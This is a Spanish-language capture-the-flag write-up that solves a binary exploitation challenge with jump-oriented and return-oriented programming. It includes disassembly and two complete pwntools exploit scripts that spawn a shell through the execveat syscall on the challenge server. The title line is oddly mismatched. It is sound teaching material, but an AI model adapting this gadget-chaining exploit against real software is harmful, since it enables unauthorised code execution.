convid{Scandinavian Journal of Psychology}
Buenas gente! El pasado fin de semana, participamos en un CTF organizado por l4t1nhtb y convid.cl, conferencia Chilena que estuvo entretenida, buenas charlas y buenos desafíos en el CTF ❤️ ! Mucho amor al team que la rompieron 24/7 cntr0llz ❤️ !
Summary
Este reto, era uno de los retos que más me costó, un pwn
con sólo con 4 solves en total, que hay que utilizar y abusar de rop
y jop
, para lograr hacer un syscall y posteriormente spawnear una shell.
La descripción no ayuda mucho, solo nos da una dirección donde se hostea el reto, y el reto mismo.
static analysis
Comenzando con un análisis estático, corremos el programa, este espera un input y muere.
pwndbg> checksec
[*] '/ctf/work/scandinavian/nanana'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
pwndbg>
Comenzando a ver su ASM
, sólo veremos su entry point
, probablemente, escrito a mano en assembly
(brígido @c4e):
Viendo esta última imágen, cláramente estamos frente a un reto de JOP
jump oriented programming Técnica la cual se basa en pivotear en un gadget jmp
, en vez de centrarse en gadgets ret
como en ROP
.
Entendiendo la lógica del programa antes de llegar al respectivo gadget add rsp, 8 ; jmp qword [rsp -8]
, tendremos una syscall de read
, la cual nos dará un buffer de 0x250
en el stack.
dynamic analysis
Corriéndolo bajo GDB
, podemos obtener que la primera instrucción que llamará el dispatcher, estará en el offset 256
, por lo que tenemos 256 bytes
de padding antes de llegar a tomar el control del RIP
.
exploit.py
Si comenzamos a armar nuestro exploit, el skeleton quedaría de la siguiente manera:
#!/usr/bin/env python3
from pwn import *
import sys
import subprocess
context(terminal=['tmux', 'new-window'])
context(os="linux", arch="amd64")
context.log_level = "debug"
p_name = "nanana" # change for the challenge name
def debug():
p = process(p_name, env = {}) # Start the new process
gdb_command = ''''''.split('\n') # The command that will run gdb at startup
attach_command = "tmux new-window gdb {} {} ".format(p_name, p.pid)
for k in gdb_command:
attach_command += '''--eval-command="{}" '''.format(k)
log.debug("Starting a new gdb session with the following command: {}".format(
attach_command))
subprocess.Popen(attach_command, shell=True, stdin=subprocess.PIPE)
return p
if "remote" not in sys.argv:
p = debug()
else:
p = remote("172.104.234.7", 7891)
## everything goes here
dispatcher = p64(0x00400107)
junk = b'A'* 256
payload = junk
payload += b'B'*8
sleep(3)
p.sendline(payload)
p.interactive()
Tenemos control sobre RIP
, Hay que notar que tenemos la dirección del dispatcher en RCX
, lo que significa, que cualquier JMP rcx
, nos vendría bien para volver al dispatcher.
0x004000f0 mov rsi, rsp ; [01] -r-x section size 50 named .text
0x004000f3 sub rsi, 0x100 ; 256
0x004000fa mov edx, 0x250 ; 592
0x004000ff xor rax, rax
0x00400102 xor rdi, rdi
0x00400105 syscall
0x00400107 add rsp, 8
0x0040010b jmp qword [rsp - 8]
0x0040010f pop rcx
0x00400110 add rcx, 0
0x00400114 pop rsi
0x00400115 pop rdx
0x00400116 nop
0x00400117 jmp rcx
0x00400119 add rax, 7
0x0040011d mov rsi, rax
0x00400120 jmp rcx
Necesitamos de alguna manera, llamar a /bin/sh\x00
, o solo leer la flag… para eso, tenemos muchas formas de hacerlo utilizando syscalls (execve
, open + read
, SROP
(using sigreturn), etc…) Notar que no tenemos ningún gadget del tipo pop rdi
, por lo que será difícil modificar ese primer registro/argumento.
Hace unas semanas, me topé con un reto el cual se trataba de bypasear syscalls blacklisteadas
…
Leyendo writeups de ese reto, leí algo muy interesante de la cual no tenía idea… execveat
. Esta es una syscall
#322 , syscall la cual su primer argumento es un path
, sirve como execve
pero para relative paths
… Tomando esto en cuenta, debemos llamar a:
execveat(0x00, * '/bin/sh\x00', 0x00)
Con esto, nos podemos librar de la dependencia de RDI
y solo enfocarnos en RSI
, y sorpresa, tenemos un pop rsi; pop rdx; ret
en el ASM
🎯 !
vector de ataque
- Escribir nuestro payload en algún lado (puede ser una dirección arbitraria de la
.bss
), para esto podemos utilizar elxor rax, rax; xor rdi, rdi, syscall
- Setear
RSI
yRDX
- llamar la syscall
read
que ya la tenemos lista
- Setear
- Setear los registros correspondientes
- RDI : 0x00
- RSI : .bss address
- RAX : 322 (execveat numer)
- llegar a syscall con
RAX
= 322
Siguiendo esta idea, necesitaremos armar un payload que haga ese recorrido, trataré de dejar lo mejor explicada cada línea del código.
#!/usr/bin/env python3
from pwn import *
import sys
import subprocess
context(terminal=['tmux', 'new-window'])
context(os="linux", arch="amd64")
context.log_level = "debug"
p_name = "nanana" # change for the challenge name
def debug():
p = process(p_name, env={}) # Start the new process
gdb_command = ''''''.split(
'\n') # The command that will run gdb at startup
attach_command = "tmux new-window gdb {} {} ".format(p_name, p.pid)
for k in gdb_command:
attach_command += '''--eval-command="{}" '''.format(k)
log.debug("Starting a new gdb session with the following command: {}".format(
attach_command))
subprocess.Popen(attach_command, shell=True, stdin=subprocess.PIPE)
return p
if "remote" not in sys.argv:
p = debug()
else:
p = remote("172.104.234.7", 7891)
## everything goes here
dispatcher = p64(0x00400107)
pop_rsi = p64(0x00400114) # pop rsi; pop rdx; nop; jmp rcx
bss = p64(0x600000 + 0xff) # bss address
read = p64(0x004000ff) # xor rax, rax ; xor rdi, rdi; syscall
syscall = p64(0x00400102)
junk = b'A' * 256
payload = junk
payload += pop_rsi # Saltamos a pop rsi; pop rdx; nop; jmp rcx
payload += bss # bss quedará en rsi (buffer)
payload += p64(0xffff) # 0xff quedará en rdx, serán la cantidad de bytes a leer, tenemos nuestro dispatcher en rcx
# saltamos de vuelta al dispatcher
# corre el stack y saltamos nuevamente
payload += read # nuestro programa quedará colgado esperando otro input
# por lo que deberemos mandar otra linea con nuestro comando a guardar
payload += pop_rsi # salmtaos denuevo al gadget
payload += bss # guardamos la dirección de nuestro payload en rsi
# será el segundo argumento de exceveat !
payload += p64(0x00) # guardamos 0x00 en rdx
# saltaremos otra vez al dispatcher por el jmp rcx
payload += syscall ## llamamos a la syscall!
input('send first payload? ')
p.send_raw(payload)
input('send second payload? ')
p.send_raw(b'/bin/sh\x00')
p.interactive()
Bien ! obtuvimos un llamado a una syscall, con un segundo argumento arbitrario, lamentablemente, RAX
no está seteado como corresponde, ya que este argumento, debería ser la syscall number… No tenemos ningún tipo de gadget del tipo pop rax
, pero sí tenemos un gadget del tipo add rax, 7
… podríamos iterar hasta alcanzar el 322 de la syscall execveat
… tedioso.
En nuestro segundo paso, pasamos por una syscall read
, lo interesante de esta syscall, es su valor de retorno.
Por lo que, el valor de RAX
, será el largo de nuestro comando, ya que el valor retornado por read
, irá en RAX
! De aquí, es fácil llegar a un valor esperado, podríamos agregar slashes como quisieramos… /bin//////.../sh\x00
, esto hasta completar 322 bytes de largo!
Antes de leer el comando:
Luego de leer el comando:
llegando a la última syscall de execveat
yes, ahora a probar remoto!
CL{j0p_M4s_sr0p_w0mb0_C0M8o!}
Entretenido el reto, gracias @c4e por el tiempo de cranear estos retos!
espero que se haya entendido todo, si hay alguna pregunta, no duden en escribirme,,,,
Saludos!